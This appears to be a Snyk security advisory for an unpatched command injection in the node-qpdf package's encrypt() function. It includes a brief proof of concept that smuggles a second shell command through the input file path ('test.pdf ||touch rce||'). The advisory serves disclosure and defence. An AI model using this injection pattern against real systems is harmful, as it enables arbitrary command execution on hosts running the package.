Improper Neutralization of Special Elements used in a Command Affecting node-qpdf package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.18% (56th percentile)

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  • Snyk ID SNYK-JS-NODEQPDF-5747918
  • published 13 Oct 2023
  • disclosed 30 Jun 2023
  • credit Xiao Feng

How to fix?

There is no fixed version for node-qpdf.

Overview

node-qpdf is an A Content Preserving transformations on PDFs wrapped around QPDF

Affected versions of this package are vulnerable to Improper Neutralization of Special Elements used in a Command such that the package-exported method encrypt() fails to sanitize its parameter input, which later flows into a sensitive command execution API. As a result, attackers may inject malicious commands once they can specify the input pdf file path.

PoC

var qpdf = require('node-qpdf');

var options = {
    keyLength: 128,
    password: 'YOUR_PASSWORD_TO_ENCRYPT'
}

qpdf.encrypt('test.pdf ||touch rce||', options); // a file named rce will be created

References

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
7.3 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    Low
  • Integrity (I)
    Low
  • Availability (A)
    Low
Expand this section

NVD

9.8 critical